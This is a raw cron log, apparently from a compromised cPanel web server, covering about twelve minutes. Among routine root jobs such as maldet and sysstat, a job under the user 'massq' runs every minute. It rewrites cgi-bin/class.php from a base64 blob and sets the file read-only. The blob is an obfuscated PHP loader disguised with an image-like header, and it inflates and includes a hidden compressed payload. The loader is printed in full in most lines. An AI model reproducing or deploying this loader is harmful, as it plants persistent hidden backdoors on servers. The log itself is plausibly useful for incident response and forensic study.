Nov 13 08:40:01 server CROND[9052]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 08:40:01 server CROND[9053]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 13 08:40:01 server CROND[9054]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 13 08:40:01 server CROND[9055]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 13 08:41:01 server CROND[9977]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 08:42:01 server CROND[10839]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 08:42:01 server CROND[10840]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 13 08:43:01 server CROND[11658]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 08:44:01 server CROND[12127]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 08:45:01 server CROND[12987]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 13 08:45:01 server CROND[12988]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 13 08:45:01 server CROND[12989]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 08:46:01 server CROND[13884]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 08:47:01 server CROND[14741]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 08:48:01 server CROND[15695]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 08:49:01 server CROND[16550]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 08:50:01 server CROND[17423]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 13 08:50:01 server CROND[17437]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 08:50:01 server CROND[17434]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 13 08:50:01 server CROND[17435]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 13 08:50:01 server CROND[17433]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 13 08:51:01 server CROND[18358]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 08:52:01 server CROND[19109]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
